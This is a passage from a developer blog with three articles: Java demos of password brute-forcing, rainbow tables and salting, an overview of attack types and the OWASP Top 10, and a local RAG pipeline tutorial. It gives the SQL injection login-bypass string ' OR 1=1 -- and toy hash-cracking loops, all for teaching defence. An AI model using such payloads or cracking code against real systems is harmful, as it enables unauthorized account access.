            System.out.println("Trying: " + guess);

            if (guess.equals(actualPassword)) {
                System.out.println("==> Password found: " + guess);
                break;
            }
        }
    }
}

👉 This works because:

Password is short and predictable
No rate limiting

3.2 Hashing Alone is NOT Enough

Let’s say system stores:
hash(password)
Java Example

package com.auth;

import java.security.MessageDigest;

public class HashAttackDemo {

    public static String hash(String input) throws Exception {
        MessageDigest md = MessageDigest.getInstance("SHA-256");
        byte[] digest = md.digest(input.getBytes());

        StringBuilder hex = new StringBuilder();
        for (byte b : digest) {
            hex.append(String.format("%02x", b));
        }
        return hex.toString();
    }

    public static void main(String[] args) throws Exception {

        String storedHash = hash("password");

        String[] guesses = {"123456", "password", "admin"};

        for (String guess : guesses) {
            if (hash(guess).equals(storedHash)) {
                System.out.println("==> Cracked: " + guess);
            }
        }
    }
}

👉 Even though password is hashed, attacker can still:

Hash guesses
Compare results

3.3 Rainbow Table Attack (Precomputation)

package com.auth;

import java.security.MessageDigest;
import java.util.HashMap;
import java.util.Map;

public class RainbowTableDemo {

    public static String hash(String input) throws Exception {
        MessageDigest md = MessageDigest.getInstance("MD5");
        byte[] digest = md.digest(input.getBytes());

        StringBuilder hex = new StringBuilder();
        for (byte b : digest) {
            hex.append(String.format("%02x", b));
        }
        return hex.toString();
    }

    public static void main(String[] args) throws Exception {

        String[] passwords = {"123456", "password", "admin"};

        Map<String, String> table = new HashMap<>();

        for (String pwd : passwords) {
            table.put(hash(pwd), pwd);
        }

        String stolenHash = hash("password");

        if (table.containsKey(stolenHash)) {
            System.out.println("==> Instantly cracked: " + table.get(stolenHash));
        }
    }
}

👉 No guessing needed — just lookup.

🛡️ 4. Why SALT Changes Everything

4.1 Why SALT is Needed

Problem:
password → same hash everywhere
Solution:
hash(password + salt)
👉 Makes each hash unique
4.2 SALT Implementation (Java)

package com.auth;

import java.security.MessageDigest;
import java.security.SecureRandom;
import java.util.Base64;

public class SaltedHashDemo {

    public static String generateSalt() {
        byte[] salt = new byte[16];
        new SecureRandom().nextBytes(salt);
        return Base64.getEncoder().encodeToString(salt);
    }

    public static String hash(String password, String salt) throws Exception {
        MessageDigest md = MessageDigest.getInstance("SHA-256");
        byte[] digest = md.digest((password + salt).getBytes());

        StringBuilder hex = new StringBuilder();
        for (byte b : digest) {
            hex.append(String.format("%02x", b));
        }
        return hex.toString();
    }

    public static void main(String[] args) throws Exception {

        String password = "password";
        String salt = generateSalt();

        String hashed = hash(password, salt);

        System.out.println("Salt: " + salt);
        System.out.println("Hash: " + hashed);
    }
}

4.3 How SALT Breaks Rainbow Attacks

password + salt1 → hash1 password + salt2 → hash2

👉 Same password ≠ same hash
👉 Rainbow tables become useless

🔴 5. Attacker vs SALT

5.1 Attacking Salted Hashes (Java)

package com.auth;

import java.security.MessageDigest;

public class SaltedAttackDemo {

    public static String hash(String password, String salt) throws Exception {
        MessageDigest md = MessageDigest.getInstance("SHA-256");
        byte[] digest = md.digest((password + salt).getBytes());

        StringBuilder hex = new StringBuilder();
        for (byte b : digest) {
            hex.append(String.format("%02x", b));
        }
        return hex.toString();
    }

    public static void main(String[] args) throws Exception {

        String salt = "randomSalt123";
        String storedHash = hash("password", salt);

        String[] dictionary = {"123456", "password", "admin"};

        for (String guess : dictionary) {
            if (hash(guess, salt).equals(storedHash)) {
                System.out.println("==> Cracked even with salt: " + guess);
            }
        }
    }
}

👉 Salt does NOT stop guessing — only slows it down.

5.2 Cost Explosion

Without salt:
1M guesses → cracks many users
With salt:
1M users × 1M guesses = 1 trillion operations

Source Code

All source files are available on GitHub:
Github source codes

👉 This is where salt becomes powerful.

⚠️ 6. What SALT Does NOT Solve

Weak passwords (still crackable)
Fast hashing (SHA-256 is too fast)
GPU-based attacks

👉 SALT makes attacks harder—but not impossible.
Attackers can still:

Perform brute force attacks
Use GPUs to compute hashes at scale
Target weak passwords

This is why modern systems go beyond

🚀 Final Defense: Modern Password Hashing
Use:

Why:

Built-in salt
Slow hashing (costly per attempt)
Resistant to GPU attacks

🧠 7.Conclusion

Authentication security evolves like this:
Plain text → completely broken Hash only → still vulnerable Salted hash → better Salt + slow hashing → strong defense

👉 Security is not about making attacks impossible,
👉 It’s about making them economically infeasible.

💡 8.Final Thought

Think like an attacker:

Can I guess this password?
Can I reuse work?
Can I scale this attack?

Good security doesn’t make attacks impossible—it makes them impractical.

As a developer, your goal isn’t to stop attackers completely, but to ensure that breaking your system is simply not worth the effort.

Understanding Common Cybersecurity Attacks: A Practical Overview

Sanjay Ghosh — Tue, 14 Apr 2026 18:10:37 +0000

Modern applications are more powerful and interconnected than ever—but with that power comes increased exposure to security risks. Whether you're building a small backend service or a large distributed system, security is no longer optional.

Before diving into specific vulnerabilities, it’s important to understand why cybersecurity matters and how common attacks are structured.

Why Cybersecurity Matters in Modern Applications

🔐 Data Protection & Privacy

Modern applications handle large amounts of sensitive data—personally identifiable information (PII), financial records, and intellectual property. This makes them prime targets for attackers.

🏢 Maintaining Trust & Reputation

Users trust applications with their personal and financial data. A single breach can damage reputation, erode customer trust, and lead to significant financial loss.

⚖️ Regulatory Compliance

Organizations must comply with regulations such as GDPR and industry standards. Failing to do so can result in heavy fines and legal consequences.

⚙️ System Integrity & Availability

Security controls such as encryption and access management ensure that systems remain reliable, tamper-proof, and available—even under attack.

🚀 Defending Against Sophisticated Threats

As technologies like cloud computing and AI evolve, so do attack techniques—ransomware, phishing, and zero-day exploits are becoming more advanced.

🌐 Protecting Interconnected Systems

Modern systems rely heavily on APIs, microservices, and IoT devices. A vulnerability in one component can compromise the entire ecosystem.

The Role of OWASP (Open Worldwide Application Security Project)

Learn more: https://owasp.org/
When discussing application security, it’s hard to ignore OWASP.

OWASP is a nonprofit foundation that provides open-source resources, tools, and best practices to help developers build secure applications.

One of its most well-known contributions is the OWASP Top 10, which highlights the most critical web security risks.

OWASP Top 10 (2025)

Full list: https://owasp.org/Top10/2025/

A01: Broken Access Control
A02: Security Misconfiguration
A03: Software Supply Chain Failures
A04: Cryptographic Failures
A05: Injection
A06: Insecure Design
A07: Authentication Failures
A08: Software or Data Integrity Failures
A09: Security Logging and Alerting Failures
A10: Mishandling of Exceptional Conditions

These categories are widely used as a baseline for secure application design.

A Simple Classification of Cybersecurity Attacks

To make sense of the landscape, we can group common attacks into four practical categories:

Web Attacks
Authentication Attacks
Network Attacks
Human (Social Engineering) Attacks

Some threats span multiple areas, so we’ll also note a few cross-category cases.

🌐 Web Attacks (Application Layer)

These target application logic, APIs, and user input handling.

Injection Attacks (SQL, Command, LDAP)

→ Example: ' OR 1=1 -- login bypass
Cross-Site Scripting (XSS)

→ Injecting malicious JavaScript into web pages
Cross-Site Request Forgery (CSRF)

→ Forcing a logged-in user to perform unintended actions
Broken Access Control

→ Accessing unauthorized data (e.g., changing /user/123 to /user/124)
Security Misconfiguration

→ Default credentials, open ports, debug settings
Insecure Deserialization

→ Executing malicious code via manipulated serialized objects

🔑 Authentication Attacks

These focus on compromising login systems and user identities.

Brute Force / Dictionary Attacks
Session Hijacking / Fixation
Rainbow Table Attacks (password hash cracking technique)

🧠 Network Attacks

These target communication between systems.

Man-in-the-Middle (MITM)

→ Intercepting data in transit
Denial of Service (DoS / DDoS)
→ Overwhelming systems to make them unavailable

🧑‍💻 Human Attacks (Social Engineering)

These exploit human behavior rather than systems.

Phishing (Email, SMS, Voice)

→ Trick users into revealing sensitive data
💡 These are among the most successful real-world attacks.

🔄 Cross-Category / Special Cases

Some threats don’t fit neatly into one category:

Malware (virus, ransomware, spyware)
Zero-day exploits (attacks on unknown vulnerabilities) These can impact multiple layers—from applications to networks to users.

A Quick Example: How Vulnerabilities Start in Code

At this point, you might be wondering:
“These attacks sound serious—but how do they relate to the code we write every day?”

Let’s look at a simple backend example that illustrates how easily security vulnerabilities can be introduced.

This example focuses on password handling, but the same principle applies across all categories—small implementation choices can introduce major vulnerabilities.

Security vulnerabilities are often not caused by complex systems—but by small, overlooked decisions in everyday code.

❌ Insecure Approach: Plain Text Storage

String password = "admin123";
String stored = password; // storing plain text ❌

If a database is compromised, attackers immediately gain access to user passwords.

⚠️ Slightly Better: Hashing (But Still Weak)

MessageDigest md = MessageDigest.getInstance("SHA-256");
byte[] hash = md.digest(password.getBytes());

Hashing improves security, but it’s still vulnerable to precomputed attacks (like rainbow tables).

✅ Better Approach (Conceptual)

String saltedPassword = password + randomSalt;

Adding randomness makes attacks significantly harder.

We’ll explore why this matters in detail when we dive into authentication attacks in the next article.

Final Thoughts

Cybersecurity isn’t just about preventing attacks—it’s about building systems that are resilient by design.

As we’ve seen:

Attacks can target applications, networks, and even people
Many vulnerabilities originate from small design or coding decisions
Understanding attack patterns is the first step toward preventing them

What’s Next?
In the next article, we’ll take a deeper look at authentication attacks, including:

How attackers crack passwords
What rainbow table attacks are
Why techniques like salting are critical

Build a RAG Pipeline in Java (Text Vector LLM, No Paid APIs)

Sanjay Ghosh — Wed, 01 Apr 2026 23:23:34 +0000

Ever asked an LLM a question about your own data and received an incorrect or generic answer?

That’s because Large Language Models (LLMs) don’t know your private data.

In this article, we’ll build a complete Retrieval-Augmented Generation (RAG) pipeline using:

Java
PostgreSQL (with vector support)
Ollama (local LLM + embeddings)

👉 No OpenAI / No paid APIs
👉 Fully local
👉 Practical and production-relevant

🧠 What is RAG?

Retrieval-Augmented Generation (RAG) is an architecture that improves LLM responses by:

Retrieving relevant data from a knowledge source
Passing that data to the LLM
Generating an answer grounded in that context

In simple terms:

Instead of guessing, the model first looks up relevant information and then answers.

🔍 Why Do We Need RAG?

LLMs are powerful, but they have limitations:

❌ They don’t know your private/company data
❌ Their knowledge is static
❌ They can hallucinate

RAG solves this by combining:

Your data (database)
Smart retrieval (vector search)
LLM reasoning (generation)

📊 RAG Flow (This Project)

We will implement this pipeline:
Text → Embedding → Store in DB

Query → Embedding
↓
Vector Search (Top K)
↓
Pass to LLM
↓
Final Answer

⚙️ Prerequisites

1. Install PostgreSQL

Make sure PostgreSQL is installed and running.

2. Install Ollama (Local LLM)

sudo apt-get install zstd
curl -fsSL https://ollama.com/install.sh | sh

3. Pull Required Models

# LLM (for answer generation)
ollama pull llama3

# Embedding model
ollama pull nomic-embed-text

4. Verify Installation

ollama run llama3
If it responds, you’re ready.

🟢 Phase 1: Indexing (Store Data)

In this phase, we:

Convert text → vector (embedding)
Store it in PostgreSQL

Why Embeddings?

Embeddings convert text into numbers so we can measure similarity.
Example:
"OAuth authentication" → [0.12, -0.98, 0.45, ...]

Database Table

CREATE TABLE text_embeddings ( id SERIAL PRIMARY KEY, content TEXT, embedding VECTOR(768) );

Key Class: EmbeddingService.java

Calls Ollama
Converts text → vector

Snippet

ClassicHttpResponse response = (ClassicHttpResponse) Request.post("http://localhost:11434/api/embeddings")
                .bodyString(body.toString(), ContentType.APPLICATION_JSON)
                .execute()
                .returnResponse();

This returns a numerical vector representation of the input text, which we store in the database.

Key Class: StorageService.java

Stores text + embedding into PostgreSQL

PreparedStatement ps = conn.prepareStatement(
            "INSERT INTO text_embeddings (content, embedding) VALUES (?, ?::vector)"
        );

        ps.setString(1, text);
        ps.setString(2, vector);

        ps.executeUpdate();

Each piece of text is stored along with its vector representation.

🔵 Phase 2: Query (RAG Flow)

Step 1: User Query

"What is OAuth?"

Step 2: Convert Query → Embedding

Same process as storing text.

Step 3: Retrieve Relevant Data

SELECT content
FROM text_embeddings
ORDER BY embedding <-> ?::vector
LIMIT 3;
👉 This finds the most similar text chunks

Key Class: Retriever.java

This is the R (Retrieval) in RAG.

        PreparedStatement ps = conn.prepareStatement(
            """
            SELECT content
            FROM text_embeddings
            ORDER BY embedding <-> ?::vector
            LIMIT ?
            """
        );

        ps.setString(1, vector);
        ps.setInt(2, topK);

        ResultSet rs = ps.executeQuery();

Step 4: Generate Answer Using LLM

We pass retrieved data to the LLM:

Context:
OAuth 2.0 is an authorization framework...

Question:
What is OAuth?

👉 The LLM generates a clean answer.

Key Class: LLMService.java

This is the G (Generation) in RAG.
Passing Context to the LLM

        String prompt = """
                        Answer briefly in 2-3 sentences.

                        Context:
                        %s

                        Question:
                        %s
                        """.formatted(context, query);

We inject retrieved data into the prompt so the LLM generates grounded answers.

🧪 Sample Output
--- Retrieved Context ---
OAuth 2.0 is an authorization framework.
JWT is used for secure authentication.

--- Final Answer ---
OAuth is an authorization framework used to grant access to resources...
🧠 What’s Really Happening?

This is the most important part to understand:

Component Role
Database Stores knowledge
Retriever Finds relevant information
LLM Generates answer

👉 The LLM does NOT retrieve data
👉 The database does NOT generate answers

💻 Full Code

The project includes:

EmbeddingService.java
StorageService.java
Retriever.java
LLMService.java
RAGApp.java
pom.xml

👉 GitHub Repository

https://github.com/knowledgebase21st/Software-Engineering/tree/dev/AI/RAG

🚀 Why This Approach is Powerful

Works with your own data
Reduces hallucination
Fully offline (with Ollama)
Production-ready pattern

✅ Conclusion

We built a complete RAG pipeline using Java, PostgreSQL, and Ollama.

This approach combines:

Your data
Smart retrieval
LLM reasoning

Result:
Accurate, context-aware answers using your own knowledge base.